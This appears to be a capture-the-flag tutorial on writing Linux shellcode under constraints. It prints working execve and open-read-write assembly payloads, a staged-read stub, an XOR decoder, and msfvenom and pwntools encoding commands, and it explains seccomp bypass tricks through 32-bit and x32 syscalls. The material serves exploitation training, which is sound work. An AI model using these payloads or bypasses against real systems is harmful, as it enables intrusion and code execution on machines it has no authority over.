Writing shellcode that fits: constraints, encoders, and seccomp

Shellcode is machine code you inject and jump to. Writing one that spawns a shell is a ten-minute exercise; the challenge is always the *constraints* the author put around it - a buffer too small, a filter that strips non-printable bytes, a seccomp policy that removed execve. Treat every shellcoding task as a constraint problem and the assembly part stays easy.

This post assumes you already have execution - a stack overflow with an executable stack, a JIT page, an mmap'd buffer, or a mprotect you can call. Getting there is a different problem.

The baseline: execve("/bin/sh", NULL, NULL)

On x86-64 Linux, syscall number in rax, arguments in rdi, rsi, rdx, then syscall. execve is 59.

; 23 bytes, no null bytes
xor    rsi, rsi            ; argv = NULL
push   rsi
mov    rdi, 0x68732f2f6e69622f   ; "/bin//sh" - doubled slash avoids a null
push   rdi
push   rsp
pop    rdi                 ; rdi = pointer to the string on the stack
push   59
pop    rax                 ; rax = SYS_execve, without a mov imm32 null
cdq                        ; rdx = 0 (sign-extends eax; eax is small and positive)
syscall

The 32-bit equivalent uses int 0x80 with the number in eax and arguments in ebx, ecx, edx; execve there is 11. Getting the architecture wrong is the single most common failure, and file ./chal answers it in one command.

Constraint 1: forbidden bytes

The most common filter is a null-byte terminator - strcpy stops at \x00, so any null truncates your payload. Others come from scanf("%s") (stops at whitespace: \x09, \x0a, \x0b, \x0c, \x0d, \x20) or from an explicit isprint check.

• Nulls: never load a small immediate into a 32- or 64-bit register directly. Use xor reg, reg for zero, push N; pop reg for small constants, and doubled path separators (/bin//sh) to avoid a short string needing padding.
• Whitespace: usually solvable by instruction choice alone; check the encoding of each instruction and substitute equivalents.
• Arbitrary badchars: encode the payload and prepend a decoder stub. The stub must itself be clean, which is why decoders are short and use only XOR and increments.

# Encode against a badchar set and let the tool find a clean encoding.
msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00\x0a\x20'

# Or write your own stub: xor-decode N bytes at rip-relative offset, then fall through.
pwn asm 'jmp short go
back: pop rsi
      xor rcx, rcx
      mov cl, LEN
loop: xor byte ptr [rsi+rcx-1], KEY
      loop loop
      jmp rsi
go:   call back' --context amd64

Constraint 2: printable or alphanumeric only

Some challenges require every byte to be in [a-zA-Z0-9]. This is possible on x86 because enough useful instructions happen to encode into that range - push/pop of most registers, xor with an 8-bit displacement, inc, dec, and the one-byte opcodes for the arithmetic forms. The standard construction is a self-modifying decoder written entirely in printable bytes, which decodes the real payload placed after it.

You do not write this by hand. msfvenom -e x86/alpha_mixed, or ae64 for x86-64, produce it. What you do need to supply by hand is the *base register*: the encoder needs to know a register that already points at the shellcode, because printable instructions cannot form an arbitrary absolute address. Find that register in the debugger at the moment control transfers - it is often rax, rsp, or a register left over from the vulnerable read.

Constraint 3: not enough room

The buffer is 20 bytes and your payload is 23. Three options, cheapest first.

Put the payload somewhere else

Very often a *different* input field of the same program has plenty of space - an earlier prompt, an environment variable, a filename. Write the shellcode there, find its address, and put only the jump in the tight buffer. In practice this is what solves most short-buffer challenges, and it costs nothing.

A staged read

A short first stage that calls read(0, buf, 0x1000) and jumps to buf gives you unlimited space for stage two. On x86-64 this is under 20 bytes if the file descriptor and a writable address are already convenient:

xor    eax, eax          ; SYS_read = 0
xor    edi, edi          ; fd = stdin
mov    rsi, rsp          ; buf = the stack we are on
mov    dl, 0x7f          ; count
syscall
jmp    rsi               ; fall into stage two

An egg hunter

When you know the payload is *somewhere* in memory but not where - it was copied into a heap chunk you cannot locate, say - prepend an 8-byte tag (the "egg") to it and use a short stub that scans memory for the tag and jumps past it. The scan must not fault, so it probes each page with a cheap syscall (access on the address) and skips unmapped ones. This is a niche technique but it is exactly the right one when the alternative is leaking a heap address you have no primitive for.

Constraint 4: seccomp took execve away

Modern pwn challenges commonly install a seccomp filter that permits only read, write, open, exit and blocks everything else. A shell is then impossible, and it was never the objective - the objective is the flag file. So the shellcode becomes open-read-write, often called an ORW payload:

; open("flag.txt", O_RDONLY)
mov    rax, 0x7478742e67616c66   ; "flag.txt"
push   rax
mov    rdi, rsp
xor    esi, esi
push   2
pop    rax
syscall

; read(fd, rsp, 0x100)
mov    rdi, rax
mov    rsi, rsp
push   0x100
pop    rdx
xor    eax, eax
syscall

; write(1, rsp, n)
mov    rdx, rax
push   1
pop    rdi
push   1
pop    rax
syscall

• Read the filter first. seccomp-tools dump ./chal prints the BPF program as a readable allow/deny list. Do this before writing anything - it tells you whether you need ORW, whether openat is allowed instead of open, and whether the architecture check can be dodged.
• Check for an architecture escape. A filter that only validates AUDIT_ARCH_X86_64 can sometimes be bypassed by switching to 32-bit mode with a retf to a 0x23 selector, where the syscall numbers are entirely different and the filter's checks no longer match.
• Check for x32. Setting bit 30 of the syscall number selects the x32 ABI. A filter that compares nr == 59 exactly will not match 59 | 0x40000000, which is the same syscall.
• Watch for `openat`. Newer libc uses openat(AT_FDCWD, ...) rather than open, so a filter written against real program behaviour may allow only that one.

Other targets worth knowing

• Reverse shell. socket, connect, three dup2 calls, then execve. Longer than a local shell, and only useful when the challenge box can reach you - which in a CTF means you need a listener on a routable host.
• `mprotect` then jump. When the injectable region is not executable but you can call mprotect, a short stub that marks the page RWX and jumps into it converts a data-only primitive into code execution.
• Stager over an existing socket. If the program already has a connected socket at a known fd, read from that fd rather than stdin. Saves the trouble of a second connection.
• `orw` with `sendfile`. One syscall instead of a read-write loop, when it is permitted.

Testing it before you fire it

Shellcode fails silently and debugging it remotely is miserable. Test locally, always:

from pwn import *
context.arch = 'amd64'

sc = asm(shellcraft.amd64.linux.sh())
print(f"{len(sc)} bytes, nulls: {b'\x00' in sc}")

# Run it in isolation. If this does not give a shell, the bug is in the
# shellcode; if it does, the bug is in how you are delivering it.
p = run_shellcode(sc)
p.interactive()

One last check that catches a whole class of failure: after delivery, break at the jump target in the debugger and disassemble what is actually there. If it does not match what you assembled, something in the path transformed your bytes - and that transformation, not the assembly, is the real challenge.

The order for a shellcoding challenge

1. file and checksec - architecture, and whether the stack is even executable.
2. seccomp-tools dump - what syscalls survive.
3. Establish the badchar set empirically, not from the source.
4. Measure the available space, and look for a roomier buffer elsewhere before compressing anything.
5. Write the smallest payload that meets the goal - a shell if execve is allowed, ORW if not.
6. Test in isolation with run_shellcode.
7. Deliver, then verify the bytes at the jump target in a debugger before concluding the shellcode is wrong.